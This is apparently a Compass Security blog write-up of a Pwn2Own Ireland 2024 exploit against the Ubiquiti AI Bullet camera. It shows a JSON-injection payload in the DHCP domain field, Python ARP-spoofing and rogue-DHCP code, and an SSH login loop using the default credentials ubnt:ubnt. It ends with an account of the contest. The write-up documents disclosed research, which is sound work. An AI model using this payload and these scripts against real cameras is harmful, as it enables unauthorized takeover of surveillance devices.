Introduction

As you may know, Compass Security participated in the 2023 edition of the Pwn2Own contest in Toronto and was able to successfully compromise the Synology BC500 camera using a remote code execution vulnerability. If you missed this, head over to the blog post here https://blog.compass-security.com/2024/03/pwn2own-toronto-2023-part-1-how-it-all-started/

Unfortunately, the same vulnerability was also identified by other researchers, resulting in a so-called collision. So naturally, we wanted to participate again in 2024, hoping to find a unique exploit in one of the available targets.

As Trend Micro had closed their office in Toronto, the 2024 edition would take place in Cork, Ireland. This time all participants must be on-site which we were looking forward to, having had lots of interesting discussions with the on-site teams the previous year. https://www.zerodayinitiative.com/blog/2024/7/16/announcing-pwn2own-ireland-2024

Target Selection

While in 2023 the Compass employees taking part in Pwn2Own pooled their company provided research time and focused on a single device, in the 2024 edition we approached the event by looking at multiple available targets. This included the Lorex 2K indoor Wi-Fi security camera, the Ubiquiti AI Bullet surveillance camera, the AeoTec Smart Home Hub, as well as the Synology BeeStation BST150-4T.

While we have identified (and reported to their vendors) multiple vulnerabilities in these products, the available time only allowed us to find one unauthenticated remote code execution vulnerability in the Ubiquiti AI Bullet camera running firmware version 4.72.38.

In the following we will describe how we analyzed the Ubiquiti AI Bullet, present the vulnerability we found and show how to exploit it.

Device Overview

The Ubiquiti AI Bullet camera features a heavy metal enclosure. On the back, an ethernet port that is also used to power the camera via PoE is exposed.

As with some other devices, our first action was to try to open the device to have a look at the components. We wanted to look at the CPU, the memory and most importantly see if there were UART or other debugging ports exposed. This could hopefully help us to gain access to the firmware and get a shell on the device for easier debugging. Eager to explore, we forcefully pried the camera open – only to realize afterwards that there was an easier, intended way to do it.

While it was interesting to have a look at the inner workings, we did not immediately notice a debugging port. So we decided to power up the camera and have a look at what services are exposed. At that moment we realized that the Ubiquiti AI Bullet exposes SSH. After a quick Google search, we learned that many Ubiquiti devices provide shell access with default credentials (ubnt:ubnt). This allows us to gain shell access to extract the firmware and also have a debugging environment. Another reason to think twice before trying to force open the next device we will examine.

Attack Surface

Using netstat, we see that lighthttpd is listening on ports 80 and 443. Furthermore, dropbear is used as SSHserver and finally there is infctld that is listening on UDP port 10001.

UVC AI Bullet-4.72.38# netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address  Foreign Address State  PID/Program name    
tcp        0      0 0.0.0.0:443    0.0.0.0:*       LISTEN 1056/lighttpd
tcp        0      0 0.0.0.0:80     0.0.0.0:*       LISTEN 1056/lighttpd
tcp        0      0 0.0.0.0:22     0.0.0.0:*       LISTEN 1065/dropbear
udp        0      0 0.0.0.0:10001  0.0.0.0:*              1199/infctld

The web interface requires authentication for most actions. While we found some inconsistent behaviors, they couldn’t be leveraged for unauthenticated compromise.

Finally, the camera uses DHCP to obtain an IP address, meaning DHCP responses are an additional attack surface. This is the route we finally decided to go down and exploit.

Unauthenticated Remote Code Execution

This chapter describes how we abused a missing input validation vulnerability to gain unauthenticated remote code execution (RCE) on the Ubiquiti AI Bullet camera.

Root Cause

When a new DHCPv4 message is received, the /bin/udhcpc binary processes it by parsing and analyzing the incoming message. This binary then creates several environment variables for each value extracted from the received message and executes the script referenced inside the -s option:

# ps | grep udhcp
 1192 ui        3136 S    /bin/udhcpc --retries 9 -f -x hostname:uvc-ai-bullet -i eth0 -S -s /bin/udhcpc_cb.sh -v

The content of the /bin/udhcpc_cb.sh script is shown below. This script does not perform any validation on the environment values received from udhcp; instead, the domain (and other) variables are used to create a JSON message that is sent via IPC by the /bin/ubnt_ipc_cli binary in the final line:

#!/bin/sh

[...CUT...]

/bin/ubnt_ipc_cli -z -b -m="{\"functionName\":\"DhcpEvent\", \"reason\": \"$1\", \"interface\": \"$interface\", \"ip\": \"$ip\", \"subnet\": \"$subnet\", \"broadcast\": \"$broadcast\", \"router\": \"$router\", \"dns\": \"$dns\", \"domain\": \"$domain\", \"hostname\": \"$hostname\", \"serverid\": \"$serverid\", \"lease\": $lease, \"pid\": $$}"

The flags used in the call to /bin/ubnt_ipc_cli are the following:

  • -z: If specified, no logging will be performed.
  • -b: Will broadcast the message to all available IPC-enabled processes. Keep this in mind, as it will be important later.
  • -m: The message to be sent. Must be specified inline with all the UNIX style constraints for a command-line parameter (e.g. escaping characters).

Since the script above does not validate any field from the DHCP message. This could allow us to escape the predefined JSON structure. In theory, we could send our payload in any of the variables present in the JSON message sent by the /bin/ubnt_ipc_cli binary. However, since these values are extracted from the incoming DHCP message, they must comply with the DHCP standard, which may impose strict validations on certain fields (e.g., IP addresses, subnet values, etc.). We decided to target the domain DHCP field because it is simply a string and can contain any value.

Using this, the idea is to break the JSON structure and insert additional JSON values into the message being sent. For example, if the domain value is set to csnc1234","aaa":"bbb, it would inject a new JSON key called aaa with the value bbb into the message:

/bin/ubnt_ipc_cli -z -b -m="{\"functionName\":\"DhcpEvent\", \"reason\": \"something\", \"interface\": \"something\", \"ip\": \"something\", \"subnet\": \"something\", \"broadcast\": \"something\", \"router\": \"something\", \"dns\": \"something\", \"domain\": \"csnc1234\", "aaa":"bbb", "hostname": "something", "serverid": "something", "lease": something, "pid": something}"

The unescaped JSON message shows the injected aaa JSON key. This allows altering the content of the JSON message being sent to all the IPC-enabled processes:

{
    "functionName": "DhcpEvent",
    "reason": "something",
    "interface": "something",
    "ip": "something",
    "subnet": "something",
    "broadcast": "something",
    "router": "something",
    "dns": "something",
    "domain": "csnc1234",
    "aaa": "bbb",
    "hostname": "something",
    "serverid": "something",
    "lease": "something",
    "pid": "something"
}

After some reversing, we did not find any JSON keys we could inject that would be interesting for us. But we noticed that if the same JSON key is present multiple times, only the latest one is processed. Thus, we started to investigate if we can somehow abuse one of the existing JSON keys.

For example, we could try to inject a second functionName key. In the following example, myNewFunctionName would be processed instead of DhcpEvent, because it is defined later:

{
    "functionName": "DhcpEvent",
    "reason": "something",
    "interface": "something",
    "ip": "something",
    "subnet": "something",
    "broadcast": "something",
    "router": "something",
    "dns": "something",
    "domain": "something",
    "functionName": "myNewFunctionName",
    "hostname": "something",
    "serverid": "something",
    "lease": "something",
    "pid": "something"
}

Recall that, as mentioned earlier, due to the -b flag in the /bin/ubnt_ipc_cli command, the JSON message will be broadcasted to all IPC-enabled processes.

The next step was to figure out all available values for the functionName key. The results showed that multiple functionName values were being utilized by different scripts to perform various actions, and several binaries also contained the hardcoded string functionName.

# grep -ri "functionName"
ath6kl_recover.sh:/bin/ubnt_ipc_cli -z -T=ubnt_ctlserver -m="{\"functionName\":\"SaveToFlash\"}"
bcmdhd_recover.sh:/bin/ubnt_ipc_cli -z -T=ubnt_ctlserver -m="{\"functionName\":\"SaveToFlash\"}"
doorbell_log_util:	MCU_VER=$(ubnt_ipc_cli -T=ubnt_mcu_agent -r=1 -s -x='response/payload' -m='{"functionName":"GetMCUVersion"}' | grep fwVersion | sed 's/.$//' | awk '{print  $2}')
doorbell_mcu_control:	ipc_cli '{"functionName":"Passthrough","data":[0x81,0x01,0x04,0xFE,0x45,0xFF]}'
[...CUT...]
fwupdate:		ubnt_ipc_cli -T=ubnt_avclient -t=2000 -z -m="{\"functionName\":\"ChangeAvclientEventSettings\", \"eventDisconnectedEnable\": false}"
fwupdate:			ubnt_ipc_cli -T=ubnt_avclient -t=2000 -z -m="{\"functionName\":\"ChangeAvclientEventSettings\", \"eventDisconnectedEnable\": true}"
support:	ipc_cli -T=ubnt_ispserver -m="{\"functionName\":\"DumpIsp3AInfo\"}"
support:pidof ubnt_reportd  && ipc_cli -T=ubnt_reportd -m="{\"functionName\":\"DumpNetworkStats\",\"filePath\":\"$dipc/network-stats.txt\"}"
support:pidof ubnt_networkd && ipc_cli -T=ubnt_networkd -m='{"functionName":"NetworkStatus"}' -F=$dipc/networkd.txt
support:pidof ubnt_streamer && ipc_cli -T=ubnt_streamer -m='{"functionName":"GetVideoSettings"}' -F=$dipc/streamer.txt
support:pidof ubnt_avclient && ipc_cli -T=ubnt_avclient -m='{"functionName":"GetAvclientState"}' -F=$dipc/avclient.txt
support:pidof ubnt_ctlserver && ipc_cli -T=ubnt_ctlserver -m='{"functionName":"GetSystemStats"}' -F=$dipc/ctlserver.txt
support:pidof ubnt_ispserver && ipc_cli -T=ubnt_ispserver -m='{"functionName":"GetIspSettings"}' -F=$dipc/ispserver.txt
support:pidof ubnt_analytics && ipc_cli -T=ubnt_analytics -m='{"functionName":"ChangeAnalyticsSettings"}' -F=$dipc/analytics.txt
support:pidof ubnt_smart_detect && ipc_cli -T=ubnt_smart_detect -m='{"functionName":"ChangeSmartDetectSettings"}' -F=$dipc/smartdetect.txt
support:pidof ubnt_smart_motion && ipc_cli -T=ubnt_smart_motion -m='{"functionName":"ChangeSmartMotionSettings"}' -F=$dipc/smartmotion.txt
[CUT BY COMPASS]
ubnt_analytics:functionName
ubnt_audio_events:functionName
ubnt_avclient:functionName
ubnt_cgi:functionName
ubnt_cmd_persist.sh:/bin/ubnt_ipc_cli -z -T=ubnt_ctlserver -m="{\"functionName\":\"SaveToFlash\"}"
ubnt_cmd_reload_avclient.sh:/bin/ubnt_ipc_cli -z -f=ubnt_avclient -T=ubnt_avclient -m="{\"functionName\":\"SoftRestart\"}"
ubnt_ctlserver:functionName
ubnt_ipc_cli:functionName
ubnt_ispserver:functionName
ubnt_lcm_gui:functionName
ubnt_networkd:functionName
ubnt_nvr:functionName
ubnt_osd:functionName
ubnt_reportd:functionName
ubnt_reportd:ubnt_ipc_cli -T=ubnt_mcu_agent -z -x=response/payload/voltage -r=1 -t=3000 -m='{"functionName":"GetACVoltage"}'
ubnt_smart_detect:functionName
ubnt_smart_motion:functionName
ubnt_sounds_leds:functionName
ubnt_streamer:functionName
ubnt_system_cfg:functionName
ubnt_talkback:functionName
ubnt_watchdog:functionName
[...CUT...]

Each functionName shown in the previous output has its own unique JSON structure. This will not be an issue though as we can break the JSON structure of the message, adding new keys and thus adjusting it to match any target function.

After analyzing the binaries listed above, we discovered that the ubnt_cgi binary looked promising. For example, it handles actions like ChangeUsernamePassword. But this requires the old password, which we unfortunately don't have. However, we came across the ResetToDefaults action, which looked very promising.

ubnt_cgi
    functionName
        GetAvclientState
        ScanAP
        TestAndApplyNetworkSettings
        ChangeNetworkSettings
        Adopt
        ResetIspSettings
        StopService
        StartService
        ChangeUsernamePassword
        ChangeDeviceSettings
        NetworkStatus
        ChangeNvrSettings
        ChangeOsdSetting
        ResetToDefaults

We reversed the code responsible for handling the ResetToDefaults action and discovered that the JSON message needed to trigger it was:

{
    "functionName":"ResetToDefaults"
}

So, we immediately decided to conduct a test to verify whether we could successfully trigger the ResetToDefaults function. To achieve this, we modified the domain field returned by our DHCP server to the following value:

csnc1234\",\"functionName\":\"ResetToDefaults

This payload modifies the JSON message sent to all IPC-enabled processes as shown below:

{
    "functionName": "DhcpEvent",
    "reason": "something",
    "interface": "something",
    "ip": "something",
    "subnet": "something",
    "broadcast": "something",
    "router": "something",
    "dns": "something",
    "domain": "csnc1234",
        "functionName": "ResetToDefaults",
    "hostname": "something",
    "serverid": "something",
    "lease": "something",
    "pid": "something"
}

We waited until the camera sent a new DHCP request message to the DHCP server and shortly after we observed that the camera rebooted. We tried accessing the SSH service using our credentials, but it didn’t work. Then we tried again using the default credentials, and it was successful. We tested this multiple times to confirm it wasn’t a fluke, and it worked every time. Thus, we found a way to remotely reset the camera and subsequently access it using the exposed SSH service and default credentials. All that was left to do was to automate the process by crafting an exploit.

Exploit

The next challenge we faced was figuring out how to trigger this exploit remotely without having access to the DHCP server and without altering the camera’s settings, to be in line with the Pwn2Own rules. After some internal discussion, we came up with the idea of creating a small rogue DHCP server to answer the camera's DHCP requests, sending the payload in the domain field of the response to trigger the exploit. However, since the camera would always contact the configured DHCP server, we also decided to create an ARP spoofing script to poison the camera's ARP cache and hopefully redirect the DHCP requests to our rogue DHCP server.

The setup looked as follows:

ARP Spoofing

The Python implementation of the ARP spoofing server is as follows:

# Create the ARP packet
arp_response = ARP(op=2,  # ARP reply
                   psrc=DHCP_SERVER_IP,
                   hwsrc=MY_MAC,
                   pdst=TARGET_IP,
                   hwdst=TARGET_MAC)
ether = Ether(dst=TARGET_MAC) / arp_response

try:
    while RUNNING:
        sendp(ether, verbose=False, iface=INTERFACE)
except KeyboardInterrupt:
    print("ARP spoofing stopped.")
    sys.exit(0)
print("ARP spoofing stopped.")

This code is straightforward and continuously sends fake ARP (Address Resolution Protocol) messages into the local network to poison the camera’s ARP cache. There are four key variables:

  • DHCP_SERVER_IP: The IP address of the legitimate DHCP server to spoof.
  • MY_MAC: The MAC address of the device running the rogue DHCP server (in our case, our laptop).
  • TARGET_IP: The IP address of the camera.
  • TARGET_MAC: The MAC address of the camera, which will receive the ARP message.

DHCP Rogue Server

The Python implementation of the rogue DHCP server is as follows:

client_ip = packet[IP].src  # Source IP address from the request
client_mac = packet[BOOTP].chaddr  # Client MAC address
client_mac_str = ':'.join(f'{b:02x}' for b in client_mac)  # Convert to MAC address string format
trx_id = packet[BOOTP].xid

# Determine the domain name to return
if client_ip == TARGET_IP:
    response_domain = 'csnc1234","functionName":"ResetToDefaults'

    print(f"Client IP: {client_ip}, Client MAC: {':'.join('%02x' % b for b in client_mac[:6])}, TransactionID: {trx_id}")

    # Prepare DHCPACK packet
    dhcp_ack = (Ether(src=MY_MAC, dst=client_mac_str) /
                IP(src=DHCP_SERVER_IP, dst=client_ip) /
                UDP(sport=67, dport=68) /
                BOOTP(op=2,
                        htype=1,
                        hlen=6,
                        xid=trx_id,
                        yiaddr=DHCP_SERVER_IP
                        siaddr=DHCP_SERVER_IP
                        chaddr=client_mac) 
                DHCP(options=[
                ("message-type", "ack"),
                ("server_id", DHCP_SERVER_IP),
                ("lease_time", DHCP_LEASE_TIME),
                ("domain", response_domain),
                "end"
            ]))
    # Send the DHCPOFFER packet
    sendp(dhcp_ack, iface=INTERFACE, verbose=True)

    print(f"Sent DHCPACK to {client_ip} with domain {response_domain}")
    if client_ip == TARGET_IP:
        RUNNING = False
        print("RUNNING is: ", RUNNING)

The server is designed to answer only requests received from the camera's IP address, preventing it from affecting other devices on the network. For each DHCPREQUEST received, the server sends a DHCPACK response that includes the payload in the domain DHCP option.

Since we are impersonating the legitimate DHCP server, the source IP address of the DHCP response must match the real DHCP server's IP address. This is why the src parameter in the IP function within the script is set to DHCP_SERVER_IP.

Once the DHCP response containing the payload is sent to the camera, the RUNNING variable is set to False, stopping both the rogue DHCP server and the ARP spoofing process. This step is crucial to prevent the camera from entering an infinite boot loop, constantly resetting its settings to the default ones.

SSH Connections

After the DHCP message is sent, the exploit waits for 15 seconds before repeatedly attempting to establish a connection to the camera's exposed SSH service using the default credentials (ubnt:ubnt). It continues this process until the connection is successful. Once SSH access is granted, the exploit triggers the camera's LEDs and uploads the required files to launch a web server, which serves a Compass Security-branded webpage.

print("Starting shell...")
while True:
    try:
        io = ssh(host=TARGET_IP, user="ubnt", password="ubnt", ignore_config=True)

        print(io.run("id").recvall().decode('utf-8'))
        io.shell('/bin/sh').sendline(b"source /usr/lib/ubnt_utils.sh; set_hw_issue_led_status 1>/dev/null; set_fwupdate_led_status 1>/dev/null")

        get_compass_server(io)

        io.interactive()

    except Exception as e:
        print(f"Retrying", e)
        time.sleep(5)
        continue

With everything prepared, we registered for Pwn2Own Cork and started to prepare for the journey.

Pwn2Own Cork Experience

On Monday morning we were scheduled to fly to Dublin. Shortly after passing through security at the airport, we received a notification that a new beta firmware version of our target device had been released. Since ZDI had not released what versions were being used in the competition at the time, we were concerned that our vulnerability might have been patched in this beta release and that it would be the version of the device we would be targeting in Cork. Still at the airport, at the gates, we downloaded the latest beta firmware, unpacked it and quickly analyzed its contents. The script in the firmware that was critical to our exploit was still there, unchanged. Nothing relevant for our exploit seemed to have changed. Our colleagues in the office would test the exploit against the camera with the latest firmware, and we boarded the plane. Arriving in Dublin, we learned in an email from ZDI that the beta version of the firmware would not be used in the contest. Our target will have the exact same firmware that we tested our exploit against multiple times back in the office. Relieved, we boarded a bus to Cork. The drawing of the contestants was broadcast while we were still on the bus. With an unreliable internet connection and several interruptions, we watched the stream on YouTube. We were drawn fourth out of six contestants. Our hopes of not having a collision shrunk. In the evening, we finally arrived in Cork.

Our attempt was scheduled for Wednesday afternoon. We came to the TrendMicro offices on Tuesday anyway to register, gather some swag, and familiarize ourselves with the competition area. Watching other teams pwning their devices is interesting at first but considering that you cannot see any details of the exploit as a spectator, it loses some appeal after a while. However, the food and drinks and the company of the world's best researchers still make it an amazing experience. In the evening, a social event was planned in one of Cork's pubs. Obviously, we joined.

On Wednesday, we arrived at the TrendMicro office two hours before our scheduled attempt for a stout tasting. After enjoying the beer, snacks, other participants' attempts, and watching fragments of projected hacker movies, it was finally time for our attempt. After setting up the target machine, all we were allowed to do was ping it to verify that we could reach it on a network level, and then we had to unplug the ethernet cable until we were allowed to start our attempt. Once we were ready to go, the ten-minute timer started and we were able to plug the cable into our machine. After a few seconds, the camera asked our machine for a new DHCP lease, shortly after that we got a root shell on it, and the camera lights blinked in the pattern we defined.

After the attempt, we went to the disclosure room to discuss the details of what we had done. It quickly became clear that our exploit was already known to ZDI. They were able to show us another team's write-up that was almost identical to ours. Second time at pwn2own and unfortunately second collision. In the evening another social event was planned in another pub in Cork. Obviously, we joined.

On Thursday the last social event took place in an old prison in Cork. Obviously, we joined it as well. During this event the Master of Pwn was announced and awarded. Congratulations again to the Viettel team. On Friday we flew back to Zurich, satisfied that our exploit worked and happy to meet and share stories with some of the world's best researchers in person.